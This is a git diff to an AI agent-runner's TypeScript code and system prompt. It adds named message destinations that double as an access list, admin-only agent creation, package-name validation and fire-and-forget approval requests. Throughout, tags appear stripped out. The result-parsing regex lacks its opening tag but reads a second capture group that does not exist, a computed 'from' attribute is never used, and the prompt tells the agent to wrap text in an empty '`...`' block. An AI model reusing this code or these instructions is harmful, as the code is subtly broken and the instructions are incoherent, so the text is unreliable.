diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index 3d2f4118e..2d03b3772 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -103,6 +103,25 @@ export function getMessageIdBySeq(seq: number): string | null { return outRow.id; } +/** + * Look up the routing fields for a message by seq (for edit/reaction targeting). + * Returns the channel_type, platform_id, thread_id of the referenced message. + */ +export function getRoutingBySeq( + seq: number, +): { channel_type: string | null; platform_id: string | null; thread_id: string | null } | null { + const inbound = getInboundDb(); + const inRow = inbound + .prepare('SELECT channel_type, platform_id, thread_id FROM messages_in WHERE seq = ?') + .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined; + if (inRow) return inRow; + + const outRow = getOutboundDb() + .prepare('SELECT channel_type, platform_id, thread_id FROM messages_out WHERE seq = ?') + .get(seq) as { channel_type: string | null; platform_id: string | null; thread_id: string | null } | undefined; + return outRow ?? null; +} + /** Get undelivered messages (for host polling — reads from outbound.db). */ export function getUndeliveredMessages(): MessageOutRow[] { return getOutboundDb() diff --git a/container/agent-runner/src/destinations.ts b/container/agent-runner/src/destinations.ts new file mode 100644 index 000000000..663dcd48d --- /dev/null +++ b/container/agent-runner/src/destinations.ts @@ -0,0 +1,91 @@ +/** + * Destination map loaded at container startup from + * /workspace/.nanoclaw-destinations.json (written by the host on wake). + * + * The map is BOTH the routing table and the ACL — if a name/target + * isn't in here, the agent can't reach it. + */ +import fs from 'fs'; + +export interface DestinationEntry { + name: string; + displayName: string; + type: 'channel' | 'agent'; + channelType?: string; + platformId?: string; + agentGroupId?: string; +} + +const DEST_FILE = '/workspace/.nanoclaw-destinations.json'; + +let cache: DestinationEntry[] = []; + +export function loadDestinations(): void { + try { + if (!fs.existsSync(DEST_FILE)) { + cache = []; + return; + } + const raw = fs.readFileSync(DEST_FILE, 'utf-8'); + const parsed = JSON.parse(raw) as { destinations?: DestinationEntry[] }; + cache = Array.isArray(parsed.destinations) ? parsed.destinations : []; + } catch (err) { + console.error(`[destinations] Failed to load: ${err instanceof Error ? err.message : String(err)}`); + cache = []; + } +} + +export function getAllDestinations(): DestinationEntry[] { + return cache; +} + +/** Test-only: inject destinations without touching the filesystem. */ +export function setDestinationsForTest(destinations: DestinationEntry[]): void { + cache = destinations; +} + +export function findByName(name: string): DestinationEntry | undefined { + return cache.find((d) => d.name === name); +} + +/** + * Reverse lookup: given routing fields from an inbound message, find + * which destination they correspond to (what does this agent call the sender?). + */ +export function findByRouting( + channelType: string | null | undefined, + platformId: string | null | undefined, +): DestinationEntry | undefined { + if (!channelType || !platformId) return undefined; + if (channelType === 'agent') { + return cache.find((d) => d.type === 'agent' && d.agentGroupId === platformId); + } + return cache.find((d) => d.type === 'channel' && d.channelType === channelType && d.platformId === platformId); +} + +/** Generate the system-prompt addendum describing destinations and syntax. */ +export function buildSystemPromptAddendum(): string { + if (cache.length === 0) { + return [ + '## Sending messages', + '', + 'You currently have no configured destinations. You cannot send messages until an admin wires one up.', + ].join('\n'); + } + + const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', '']; + for (const d of cache) { + const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; + lines.push(`- \`${d.name}\`${label}`); + } + lines.push(''); + lines.push('To send a message, wrap it in a `...` block.'); + lines.push('You can include multiple `` blocks in one response to send to multiple destinations.'); + lines.push('Text outside of `` blocks is scratchpad — logged but not sent anywhere.'); + lines.push('Use `...` to make scratchpad intent explicit.'); + lines.push(''); + lines.push( + 'To send a message mid-response (e.g., an acknowledgment before a long task), call the `send_message` MCP tool with the `to` parameter set to a destination name.', + ); + return lines.join('\n'); +} diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index 87be2d609..eca2b4d0e 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -1,3 +1,4 @@ +import { findByRouting } from './destinations.js'; import type { MessageInRow } from './db/messages-in.js'; /** @@ -123,7 +124,19 @@ function formatSingleChat(msg: MessageInRow): string { const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; const replyPrefix = formatReplyContext(content.replyTo); const attachmentsSuffix = formatAttachments(content.attachments); - return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; + + // Look up the destination name for the origin (reverse map lookup). + // If not found, fall back to a raw channel:platform_id marker so nothing + // gets silently dropped — this should only happen if the destination was + // removed between when the message was received and when it's being processed. + const fromDest = findByRouting(msg.channel_type, msg.platform_id); + const fromAttr = fromDest + ? ` from="${escapeXml(fromDest.name)}"` + : msg.channel_type || msg.platform_id + ? ` from="unknown:${escapeXml(msg.channel_type || '')}:${escapeXml(msg.platform_id || '')}"` + : ''; + + return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; } function formatTaskMessage(msg: MessageInRow): string { diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 1513f5c39..8bada5b05 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -26,6 +26,7 @@ import fs from 'fs'; import path from 'path'; import { fileURLToPath } from 'url'; +import { buildSystemPromptAddendum, loadDestinations } from './destinations.js'; import { createProvider, type ProviderName } from './providers/factory.js'; import { runPollLoop } from './poll-loop.js'; @@ -44,12 +45,17 @@ async function main(): Promise { const provider = createProvider(providerName, { assistantName }); - // Load global CLAUDE.md as additional system context + // Load destination map (written by host on every wake) + loadDestinations(); + + // Load global CLAUDE.md as additional system context, then append destinations addendum let systemPrompt: string | undefined; if (fs.existsSync(GLOBAL_CLAUDE_MD)) { systemPrompt = fs.readFileSync(GLOBAL_CLAUDE_MD, 'utf-8'); log('Loaded global CLAUDE.md'); } + const addendum = buildSystemPromptAddendum(); + systemPrompt = systemPrompt ? `${systemPrompt}\n\n${addendum}` : addendum; // Discover additional directories mounted at /workspace/extra/* const additionalDirectories: string[] = []; diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index ae76e87b6..90aae2b5e 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -1,6 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; +import { setDestinationsForTest } from './destinations.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { getPendingMessages } from './db/messages-in.js'; import { MockProvider } from './providers/mock.js'; @@ -8,10 +9,21 @@ import { runPollLoop } from './poll-loop.js'; beforeEach(() => { initTestSessionDb(); + // Provide a test destination map so output parsing can resolve "discord-test" → routing + setDestinationsForTest([ + { + name: 'discord-test', + displayName: 'Discord Test', + type: 'channel', + channelType: 'discord', + platformId: 'chan-1', + }, + ]); }); afterEach(() => { closeSessionDb(); + setDestinationsForTest([]); }); function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { @@ -27,7 +39,7 @@ describe('poll loop integration', () => { it('should pick up a message, process it, and write a response', async () => { insertMessage('m1', { sender: 'Alice', text: 'What is the meaning of life?' }, { platformId: 'chan-1', channelType: 'discord', threadId: 'thread-1' }); - const provider = new MockProvider(() => '42'); + const provider = new MockProvider(() => '42'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -40,7 +52,6 @@ describe('poll loop integration', () => { expect(JSON.parse(out[0].content).text).toBe('42'); expect(out[0].platform_id).toBe('chan-1'); expect(out[0].channel_type).toBe('discord'); - expect(out[0].thread_id).toBe('thread-1'); expect(out[0].in_reply_to).toBe('m1'); // Input message should be acked (not pending) @@ -54,7 +65,7 @@ describe('poll loop integration', () => { insertMessage('m1', { sender: 'Alice', text: 'Hello' }); insertMessage('m2', { sender: 'Bob', text: 'World' }); - const provider = new MockProvider(() => 'Got both messages'); + const provider = new MockProvider(() => 'Got both messages'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 2000); @@ -69,7 +80,7 @@ describe('poll loop integration', () => { }); it('should process messages arriving after loop starts', async () => { - const provider = new MockProvider(() => 'Processed'); + const provider = new MockProvider(() => 'Processed'); const controller = new AbortController(); const loopPromise = runPollLoopWithTimeout(provider, controller.signal, 3000); diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts index a9443defa..55fceace6 100644 --- a/container/agent-runner/src/mcp-tools/agents.ts +++ b/container/agent-runner/src/mcp-tools/agents.ts @@ -1,7 +1,13 @@ /** - * Agent-to-agent MCP tools: send_to_agent, create_agent. + * Agent management MCP tools: create_agent. + * + * send_to_agent was removed — sending to another agent is now just + * send_message(to="agent-name") since agents and channels share the + * unified destinations namespace. + * + * create_agent is admin-only. Non-admin containers never see this tool + * (see mcp-tools/index.ts). The host re-checks permission on receive. */ -import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -21,55 +27,16 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } -function sleep(ms: number): Promise { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -export const sendToAgent: McpToolDefinition = { - tool: { - name: 'send_to_agent', - description: 'Send a message to another agent group.', - inputSchema: { - type: 'object' as const, - properties: { - agentGroupId: { type: 'string', description: 'Target agent group ID' }, - text: { type: 'string', description: 'Message content' }, - sessionId: { type: 'string', description: 'Target specific session (optional)' }, - }, - required: ['agentGroupId', 'text'], - }, - }, - async handler(args) { - const agentGroupId = args.agentGroupId as string; - const text = args.text as string; - if (!agentGroupId || !text) return err('agentGroupId and text are required'); - - const id = generateId(); - - writeMessageOut({ - id, - kind: 'chat', - channel_type: 'agent', - platform_id: agentGroupId, - thread_id: (args.sessionId as string) || null, - content: JSON.stringify({ text }), - }); - - log(`send_to_agent: ${id} → ${agentGroupId}`); - return ok(`Message sent to agent ${agentGroupId} (id: ${id})`); - }, -}; - export const createAgent: McpToolDefinition = { tool: { name: 'create_agent', - description: 'Create a new agent group dynamically. Returns the new agent group ID.', + description: + 'Create a new child agent with a given name. The name you choose becomes the destination name you use to message this agent. Admin-only. Fire-and-forget — you will receive a notification when the agent is created.', inputSchema: { type: 'object' as const, properties: { - name: { type: 'string', description: 'Agent display name' }, - instructions: { type: 'string', description: 'CLAUDE.md content (agent instructions/personality)' }, - folder: { type: 'string', description: 'Folder name (default: auto-generated from name)' }, + name: { type: 'string', description: 'Human-readable name (also becomes your destination name for this agent)' }, + instructions: { type: 'string', description: 'CLAUDE.md content for the new agent (personality, role, instructions)' }, }, required: ['name'], }, @@ -79,7 +46,6 @@ export const createAgent: McpToolDefinition = { if (!name) return err('name is required'); const requestId = generateId(); - writeMessageOut({ id: requestId, kind: 'system', @@ -88,28 +54,12 @@ export const createAgent: McpToolDefinition = { requestId, name, instructions: (args.instructions as string) || null, - folder: (args.folder as string) || null, }), }); log(`create_agent: ${requestId} → "${name}"`); - - // Poll for host response - const deadline = Date.now() + 30_000; - while (Date.now() < deadline) { - const response = findQuestionResponse(requestId); - if (response) { - const parsed = JSON.parse(response.content); - markCompleted([response.id]); - if (parsed.status === 'success') { - return ok(`Agent created: ${parsed.result.agentGroupId} (name: ${parsed.result.name}, folder: ${parsed.result.folder})`); - } - return err(parsed.result?.error || 'Failed to create agent'); - } - await sleep(1000); - } - return err('Timed out waiting for agent creation response'); + return ok(`Creating agent "${name}". You will be notified when it is ready.`); }, }; -export const agentTools: McpToolDefinition[] = [sendToAgent, createAgent]; +export const agentTools: McpToolDefinition[] = [createAgent]; diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index c607c6c07..d36b0299f 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -1,10 +1,16 @@ /** * Core MCP tools: send_message, send_file, edit_message, add_reaction. + * + * All outbound tools resolve destinations via the local destination map + * (see destinations.ts). Agents reference destinations by name; the map + * translates name → routing tuple. Permission enforcement happens on + * the host side in delivery.ts via the agent_destinations table. */ import fs from 'fs'; import path from 'path'; -import { writeMessageOut, getMessageIdBySeq } from '../db/messages-out.js'; +import { findByName, getAllDestinations } from '../destinations.js'; +import { getMessageIdBySeq, getRoutingBySeq, writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -15,14 +21,6 @@ function generateId(): string { return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; } -function routing() { - return { - platform_id: process.env.NANOCLAW_PLATFORM_ID || null, - channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, - thread_id: process.env.NANOCLAW_THREAD_ID || null, - }; -} - function ok(text: string) { return { content: [{ type: 'text' as const, text }] }; } @@ -31,68 +29,89 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } +function destinationList(): string { + const all = getAllDestinations(); + if (all.length === 0) return '(none)'; + return all.map((d) => d.name).join(', '); +} + +function resolveRouting( + to: string, +): { channel_type: string; platform_id: string } | { error: string } { + const dest = findByName(to); + if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; + if (dest.type === 'channel') { + return { channel_type: dest.channelType!, platform_id: dest.platformId! }; + } + return { channel_type: 'agent', platform_id: dest.agentGroupId! }; +} + export const sendMessage: McpToolDefinition = { tool: { name: 'send_message', - description: 'Send a chat message to the current conversation or a specified destination.', + description: + 'Send a message to a named destination. Use destination names from your system prompt (not raw IDs).', inputSchema: { type: 'object' as const, properties: { + to: { type: 'string', description: 'Destination name (e.g., "family", "worker-1")' }, text: { type: 'string', description: 'Message content' }, - channel: { type: 'string', description: 'Target channel type (default: reply to origin)' }, - platformId: { type: 'string', description: 'Target platform ID' }, - threadId: { type: 'string', description: 'Target thread ID' }, }, - required: ['text'], + required: ['to', 'text'], }, }, async handler(args) { + const to = args.to as string; const text = args.text as string; - if (!text) return err('text is required'); + if (!to || !text) return err('to and text are required'); + + const routing = resolveRouting(to); + if ('error' in routing) return err(routing.error); const id = generateId(); - const r = routing(); - const seq = writeMessageOut({ id, kind: 'chat', - platform_id: (args.platformId as string) || r.platform_id, - channel_type: (args.channel as string) || r.channel_type, - thread_id: (args.threadId as string) || r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: null, content: JSON.stringify({ text }), }); - log(`send_message: #${seq} ${id} → ${r.channel_type || 'default'}/${r.platform_id || 'default'}`); - return ok(`Message sent (id: ${seq})`); + log(`send_message: #${seq} → ${to}`); + return ok(`Message sent to ${to} (id: ${seq})`); }, }; export const sendFile: McpToolDefinition = { tool: { name: 'send_file', - description: 'Send a file to the current conversation.', + description: 'Send a file to a named destination.', inputSchema: { type: 'object' as const, properties: { + to: { type: 'string', description: 'Destination name' }, path: { type: 'string', description: 'File path (relative to /workspace/agent/ or absolute)' }, text: { type: 'string', description: 'Optional accompanying message' }, filename: { type: 'string', description: 'Display name (default: basename of path)' }, }, - required: ['path'], + required: ['to', 'path'], }, }, async handler(args) { + const to = args.to as string; const filePath = args.path as string; - if (!filePath) return err('path is required'); + if (!to || !filePath) return err('to and path are required'); + + const routing = resolveRouting(to); + if ('error' in routing) return err(routing.error); const resolvedPath = path.isAbsolute(filePath) ? filePath : path.resolve('/workspace/agent', filePath); if (!fs.existsSync(resolvedPath)) return err(`File not found: ${filePath}`); const id = generateId(); const filename = (args.filename as string) || path.basename(resolvedPath); - const r = routing(); - // Copy file to outbox const outboxDir = path.join('/workspace/outbox', id); fs.mkdirSync(outboxDir, { recursive: true }); fs.copyFileSync(resolvedPath, path.join(outboxDir, filename)); @@ -100,21 +119,21 @@ export const sendFile: McpToolDefinition = { writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: null, content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), }); - log(`send_file: ${id} → ${filename}`); - return ok(`File sent (id: ${id}, filename: ${filename})`); + log(`send_file: ${id} → ${to} (${filename})`); + return ok(`File sent to ${to} (id: ${id}, filename: ${filename})`); }, }; export const editMessage: McpToolDefinition = { tool: { name: 'edit_message', - description: 'Edit a previously sent message.', + description: 'Edit a previously sent message. Targets the same destination the original message was sent to.', inputSchema: { type: 'object' as const, properties: { @@ -132,15 +151,18 @@ export const editMessage: McpToolDefinition = { const platformId = getMessageIdBySeq(seq); if (!platformId) return err(`Message #${seq} not found`); - const id = generateId(); - const r = routing(); + const routing = getRoutingBySeq(seq); + if (!routing || !routing.channel_type || !routing.platform_id) { + return err(`Cannot determine destination for message #${seq}`); + } + const id = generateId(); writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: routing.thread_id, content: JSON.stringify({ operation: 'edit', messageId: platformId, text }), }); @@ -170,15 +192,18 @@ export const addReaction: McpToolDefinition = { const platformId = getMessageIdBySeq(seq); if (!platformId) return err(`Message #${seq} not found`); - const id = generateId(); - const r = routing(); + const routing = getRoutingBySeq(seq); + if (!routing || !routing.channel_type || !routing.platform_id) { + return err(`Cannot determine destination for message #${seq}`); + } + const id = generateId(); writeMessageOut({ id, kind: 'chat', - platform_id: r.platform_id, - channel_type: r.channel_type, - thread_id: r.thread_id, + platform_id: routing.platform_id, + channel_type: routing.channel_type, + thread_id: routing.thread_id, content: JSON.stringify({ operation: 'reaction', messageId: platformId, emoji }), }); diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index f98143d30..b0116284d 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -9,6 +9,7 @@ import { Server } from '@modelcontextprotocol/sdk/server/index.js'; import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; +import { loadDestinations } from '../destinations.js'; import type { McpToolDefinition } from './types.js'; import { coreTools } from './core.js'; import { schedulingTools } from './scheduling.js'; @@ -20,7 +21,23 @@ function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); } -const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools, ...selfModTools]; +// Load the destination map — this process is spawned fresh for each container +// wake, so the map file is always fresh (written by the host before spawn). +loadDestinations(); + +// Only admin agents get the create_agent tool. Non-admins never see it in the +// listTools response; the host also re-checks permission on receive as defense +// in depth (see delivery.ts create_agent handler). +const isAdmin = process.env.NANOCLAW_IS_ADMIN === '1'; +const conditionalAgentTools = isAdmin ? agentTools : []; + +const allTools: McpToolDefinition[] = [ + ...coreTools, + ...schedulingTools, + ...interactiveTools, + ...conditionalAgentTools, + ...selfModTools, +]; const toolMap = new Map(); for (const t of allTools) { diff --git a/container/agent-runner/src/mcp-tools/self-mod.ts b/container/agent-runner/src/mcp-tools/self-mod.ts index 9a0ef18da..0a0d8e308 100644 --- a/container/agent-runner/src/mcp-tools/self-mod.ts +++ b/container/agent-runner/src/mcp-tools/self-mod.ts @@ -1,11 +1,13 @@ /** * Self-modification MCP tools: install_packages, add_mcp_server, request_rebuild. * - * These tools request changes to the agent's container configuration. - * install_packages and request_rebuild require admin approval. - * add_mcp_server takes effect on next container restart without approval. + * All three are fire-and-forget — the tool writes a system action row and + * returns immediately. The host processes the request (including admin + * approval) and notifies the agent via a chat message when complete. + * + * Package names are sanitized here at the tool boundary AND re-validated on + * the host side (defense in depth). */ -import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -25,37 +27,20 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } -function sleep(ms: number): Promise { - return new Promise((resolve) => setTimeout(resolve, ms)); -} - -async function pollForResponse(requestId: string, timeoutMs: number) { - const deadline = Date.now() + timeoutMs; - while (Date.now() < deadline) { - const response = findQuestionResponse(requestId); - if (response) { - const parsed = JSON.parse(response.content); - markCompleted([response.id]); - if (parsed.status === 'success') { - return ok(JSON.stringify(parsed.result || 'Success')); - } - return err(parsed.result?.error || parsed.selectedOption || 'Request denied'); - } - await sleep(2000); - } - return err(`Request timed out after ${timeoutMs / 1000}s`); -} +const APT_RE = /^[a-z0-9][a-z0-9._+-]*$/; +const NPM_RE = /^(@[a-z0-9][a-z0-9._-]*\/)?[a-z0-9][a-z0-9._-]*$/; +const MAX_PACKAGES = 20; export const installPackages: McpToolDefinition = { tool: { name: 'install_packages', description: - 'Request installation of system (apt) or Node.js (npm) packages in the container. Requires admin approval. Takes effect after container rebuild.', + 'Request installation of apt or npm packages. Requires admin approval. Fire-and-forget: you will receive a notification when the request is approved or rejected. After approval, call request_rebuild to apply the changes.', inputSchema: { type: 'object' as const, properties: { - apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install' }, - npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally' }, + apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install (names only, no version specs or flags)' }, + npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally (names only, no version specs)' }, reason: { type: 'string', description: 'Why these packages are needed' }, }, }, @@ -64,6 +49,12 @@ export const installPackages: McpToolDefinition = { const apt = (args.apt as string[]) || []; const npm = (args.npm as string[]) || []; if (apt.length === 0 && npm.length === 0) return err('At least one apt or npm package is required'); + if (apt.length + npm.length > MAX_PACKAGES) return err(`Maximum ${MAX_PACKAGES} packages per request`); + + const invalidApt = apt.find((p) => !APT_RE.test(p)); + if (invalidApt) return err(`Invalid apt package name: "${invalidApt}". Only lowercase letters, digits, and ._+- allowed.`); + const invalidNpm = npm.find((p) => !NPM_RE.test(p)); + if (invalidNpm) return err(`Invalid npm package name: "${invalidNpm}". No version specs or shell characters.`); const requestId = generateId(); writeMessageOut({ @@ -71,7 +62,6 @@ export const installPackages: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'install_packages', - requestId, apt, npm, reason: (args.reason as string) || '', @@ -79,7 +69,7 @@ export const installPackages: McpToolDefinition = { }); log(`install_packages: ${requestId} → apt=[${apt.join(',')}] npm=[${npm.join(',')}]`); - return await pollForResponse(requestId, 300_000); + return ok(`Package install request submitted. You will be notified when admin approves or rejects.`); }, }; @@ -87,7 +77,7 @@ export const addMcpServer: McpToolDefinition = { tool: { name: 'add_mcp_server', description: - "Add an MCP server to this agent's configuration. Takes effect on next container restart (no rebuild needed, no approval required).", + "Request adding an MCP server to this agent's configuration. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new server.", inputSchema: { type: 'object' as const, properties: { @@ -110,7 +100,6 @@ export const addMcpServer: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'add_mcp_server', - requestId, name, command, args: (args.args as string[]) || [], @@ -119,7 +108,7 @@ export const addMcpServer: McpToolDefinition = { }); log(`add_mcp_server: ${requestId} → "${name}" (${command})`); - return await pollForResponse(requestId, 30_000); + return ok(`MCP server request submitted. You will be notified when admin approves or rejects.`); }, }; @@ -127,7 +116,7 @@ export const requestRebuild: McpToolDefinition = { tool: { name: 'request_rebuild', description: - 'Request a container rebuild to apply pending package installations. Requires admin approval. The current container will be stopped and restarted with the new image.', + 'Request a container rebuild to apply pending package installations. Requires admin approval. Fire-and-forget: you will be notified when approved/rejected. On approval, your container restarts with the new image on the next message.', inputSchema: { type: 'object' as const, properties: { @@ -142,13 +131,12 @@ export const requestRebuild: McpToolDefinition = { kind: 'system', content: JSON.stringify({ action: 'request_rebuild', - requestId, reason: (args.reason as string) || '', }), }); log(`request_rebuild: ${requestId}`); - return await pollForResponse(requestId, 300_000); + return ok(`Rebuild request submitted. You will be notified when admin approves or rejects.`); }, }; diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 149083ead..6b358de14 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,3 +1,4 @@ +import { findByName } from './destinations.js'; import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; @@ -143,9 +144,6 @@ export async function runPollLoop(config: PollLoopConfig): Promise { log(`Processing ${normalMessages.length} message(s), kinds: ${[...new Set(normalMessages.map((m) => m.kind))].join(',')}`); - // Set routing context as env vars for MCP tools - setRoutingEnv(routing, config.env); - const query = config.provider.query({ prompt, sessionId, @@ -247,9 +245,6 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: log(`Pushing ${newMessages.length} follow-up message(s) into active query`); query.push(prompt); - const newRouting = extractRouting(newMessages); - setRoutingEnv(newRouting, config.env); - markCompleted(newIds); lastEventTime = Date.now(); // new input counts as activity } @@ -270,15 +265,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: if (event.type === 'init') { querySessionId = event.sessionId; } else if (event.type === 'result' && event.text) { - writeMessageOut({ - id: generateId(), - in_reply_to: routing.inReplyTo, - kind: routing.channelType ? 'chat' : 'chat', - platform_id: routing.platformId, - channel_type: routing.channelType, - thread_id: routing.threadId, - content: JSON.stringify({ text: event.text }), - }); + dispatchResultText(event.text, routing); } } } finally { @@ -306,10 +293,66 @@ function handleEvent(event: ProviderEvent, _routing: RoutingContext): void { } } -function setRoutingEnv(routing: RoutingContext, env: Record): void { - env.NANOCLAW_PLATFORM_ID = routing.platformId ?? undefined; - env.NANOCLAW_CHANNEL_TYPE = routing.channelType ?? undefined; - env.NANOCLAW_THREAD_ID = routing.threadId ?? undefined; +/** + * Parse the agent's final text for ... blocks + * and dispatch each one to its resolved destination. Text outside of blocks + * (including ...) is scratchpad — logged but not sent. + * + * If the agent emits zero blocks AND non-empty text, log a warning: + * the agent produced output with no recipient. That's usually a bug in the + * agent — the system prompt tells it to wrap user-visible text in blocks. + */ +function dispatchResultText(text: string, routing: RoutingContext): void { + const MESSAGE_RE = /([\s\S]*?)<\/message>/g; + + let match: RegExpExecArray | null; + let sent = 0; + let lastIndex = 0; + const scratchpadParts: string[] = []; + + while ((match = MESSAGE_RE.exec(text)) !== null) { + if (match.index > lastIndex) { + scratchpadParts.push(text.slice(lastIndex, match.index)); + } + const toName = match[1]; + const body = match[2].trim(); + lastIndex = MESSAGE_RE.lastIndex; + + const dest = findByName(toName); + if (!dest) { + log(`Unknown destination in , dropping block`); + scratchpadParts.push(`[dropped: unknown destination "${toName}"] ${body}`); + continue; + } + + const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; + const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; + writeMessageOut({ + id: generateId(), + in_reply_to: routing.inReplyTo, + kind: 'chat', + platform_id: platformId, + channel_type: channelType, + thread_id: null, + content: JSON.stringify({ text: body }), + }); + sent++; + } + if (lastIndex < text.length) { + scratchpadParts.push(text.slice(lastIndex)); + } + + const scratchpad = scratchpadParts + .join('') + .replace(/[\s\S]*?<\/internal>/g, '') + .trim(); + if (scratchpad) { + log(`[scratchpad] ${scratchpad.slice(0, 500)}${scratchpad.length > 500 ? '…' : ''}`); + } + + if (sent === 0 && text.trim()) { + log(`WARNING: agent output had no blocks — nothing was sent`); + } } function sleep(ms: number): Promise { diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index 13bf4a875..c95469e72 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -14,13 +14,27 @@ You are Main, a personal assistant. You help with tasks, answer questions, and c ## Communication -Your output is sent to the user or group. Be concise — every message costs the reader's attention. +Be concise — every message costs the reader's attention. -Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final output). Pace your updates to the length of the work: +### Named destinations -- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and report in your final output. No mid-work messages. -- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") so the user knows you got the message. Don't leave them waiting in silence. -- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. "About to install ffmpeg — this'll take a minute" is better than the user wondering if you're stuck. +You don't send messages to a "current conversation" — every outbound message goes to an explicitly named destination. The list of destinations available to you is injected into your system prompt at the start of every turn. + +**To send a message**, wrap it in a `...` block. You can include multiple blocks in one response to send to multiple destinations. Text outside of `` blocks is scratchpad — logged but never sent anywhere. + +``` +On my way home, 15 minutes +``` + +Inbound messages are labeled with `from="name"` so you know which destination they came from and can reply by using that same name as `to=`. + +### Mid-turn updates + +Use the `mcp__nanoclaw__send_message` tool to send a message mid-work (before your final output) — it takes the same `to` destination name. Pace your updates to the length of the work: + +- **Short work (a few seconds, ≤2 quick tool calls):** Don't narrate. Just do it and put the result in your final `` block. +- **Longer work (many tool calls, web searches, installs, sub-agents):** Send a short acknowledgment right away ("On it — checking the logs now") via `send_message` so the user knows you got the message. +- **Long-running work (many minutes, multi-step tasks):** Send periodic updates at natural milestones, and especially **before** slow operations like spinning up an explore sub-agent, downloading large files, or installing packages. **Never narrate micro-steps.** "I'm going to read the file now… okay, I'm reading it… now I'm parsing it…" is noise. Updates should mark meaningful transitions, not every tool call. @@ -28,16 +42,14 @@ Use `mcp__nanoclaw__send_message` to send messages mid-work (before your final o ### Internal thoughts -If part of your output is internal reasoning rather than something for the user, wrap it in `` tags: +If part of your output is internal reasoning rather than something for the reader, wrap it in `` tags — or just leave it as plain text outside any `` 